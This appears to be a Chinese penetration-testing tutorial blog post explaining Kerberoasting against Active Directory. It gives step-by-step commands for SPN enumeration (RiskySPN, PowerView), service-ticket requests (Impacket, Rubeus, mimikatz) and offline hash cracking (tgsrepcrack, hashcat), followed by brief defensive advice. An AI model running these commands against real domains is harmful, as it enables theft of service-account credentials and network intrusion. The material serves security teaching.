当前位置：首页 > news >正文

渗透测试之 AD域渗透【Kerberoasting】攻击技术讲解对应得工具详细介绍哟~ 以及相关示例按照步骤做你也会哟

news 2025/8/27 3:21:40

说明

攻击者提供一个正常的域用户密码对域进行身份认证，KDC在验证账户和密码的有效性后，会返回一个TGT。该TGT用于以后的ST请求。
攻击者使用获得的TGT请求针对指定SPN的ST。在请求服务票据的TGS-REQ进程中，攻击者可以指定其支持的Kerberos 加密类型为RC4_HMAC_MD5(ARCFOUR-HMAC MD5），因为RC4_HMAC_MD5加密算法相比于其他加密算法更容易被破解。

Kerberoasting攻击在实战中主要分为如下4步

这是Kerberoasting攻击的第一步。首先，发现域内所有注册于域用户下的SPN认情况下。
1. 域内会有一个注册在用户krbtgt下的SPN kadmin/changepw。但该SPN对于Kerberoasting 攻击是没有意义的，因为用户krbtgt的密码是随机生成的，几乎不可能爆破出来。

RiskySPN
- RiskySPN 是一个PowerShell 脚本的集合，专注于检测与SPN相关的账户是否滥用。
- 该脚本可以帮助我们自动识别弱密码服务票据，根据用户账户和密码过期时间来查找最容易包含弱密码的票据。
- 执行如下命令，该脚本会自动查找并过滤出（自动去除注册于krbtgt下的kadmin/changepw)当前域内注册于域用户下的可能包含弱密码的SPN的详细信息。
  - Import-Module .\Find-PotentiallyCrackableAccounts.ps1;
  - Find-PotentiallyCrackableAccounts -FullData
- #PowerShell脚本用法
  - Import-Module .\GetUserSPNs.ps1
PowerView.ps1
PowerView.ps1是 PowerSnolit 中Recon 目录下的一个PowerShell脚本，该脚本可用于查询过滤出域用户下注册了SPN的用户，包括krbtgt用户，并返回用户的详细信息。
- 执行命令如下:
  - Import-Module .\PowerView.ps1
  - Get-NetUser -SPN

当过滤出注册于用户下的SPN之后，我们就需要请求这些SPN的服务票据了。
Impacket 请求
- Impacket中的GetUserSPNs.py脚本可以请求注册于用户下的所有SPN的服务票据，也可以请求注册于指定用户下的SPN的服务票据。该脚本使用命令如下：
- 请求注册于用户下的所有SPN的服务票据，并以hashcat能破解的格式保存为hash.txt文件
  - python .\GetUserSPNs.py -request -dc-ip 192.168.1.88 xie.com/administrator:321@qq.com -outputfile a.txt
Rubeus 请求
- Rubeus 中的Kerberoast 支持对所有用户或特定用户执行Kerberoasting 操作，它的原理在于先用LDAP查询域内所有注册在域用户下的SPN(除了kadmin/changepw)。
- 再通过发送TGS包，直接输出能使用John或 hashcat爆破的Hash。该工具使用命令如下：
  - #请求注册于用户下的所有SPN的服务票据，并以hashcat能破解的格式保存为hash.txt文件
    - Rubeus.exe kerberoast /format:john /outfile:hash.txt
mimikatz 请求
- 使用mimikatz请求指定SPN的服务票据的命令如下，请求的服务票据将保存在内存
  中。
- #请求指定SPN的服务票据
  - kerberos::ask/target:MSSQLSvc/WIN-08U6QBF1C4U.xie.com:1433

使用mimikatz将内存中的票据导出来的命令如下，执行完成后，会在mimikatz同目录下导出 .kirbi格式的票据文件。
- mimikatz.exe "kerberos::list /export" "exit"

kerberoast 是用于攻击Kerberos实现的一些工具的集合。该工具中的 tgsrepcrack.py脚本可以对mimikatz导出的.kirbi格式的票据进行爆破。
使用 tgsrepcrack.py脚本离线破解.kirbi文件的命令如下
- python2 tgsrepcrack.py pass.txt 3-40a40000-hack@LDAP\~WIN-08U6QBF1C4U.xie.com\~xie.com-XIE.COM.kirbi
  - 这里我报错了自己去安装对应得库去试试

针对Impacket和Rebeus 请求的票据格式，可以使用hashcat执行如下命令来进行爆
- hashcat -m 13100 hash.txt pass.txt --force

对防守方或蓝队来说，针对检测和防御来说
- 确保服务账户和密码为强密码，具有随机性并定期修改。
- Kerberoasting 能成功的最大因素就是KDC返回的ST是用RC4_HMAC_MD5加密算法加密的，攻击者可以比较简单地进行爆破。
  - 如果配置强制使用AES256_HMAC方式对Kerberos 票据进行加密，那么即使攻击者获取了ST，也无法将其破解。但这种加密方式存兼容性问题。
可以定期使用zBang工具检测当前域内危险的SPN。首先运行zBang，在弹出的界面中选择 Risky SPNs，再单击Launch按钮。
过一会儿就可以看到zBang运行成功，然后我们通过RiskySPN Results页面就可以看到结果，得到2个危险得spn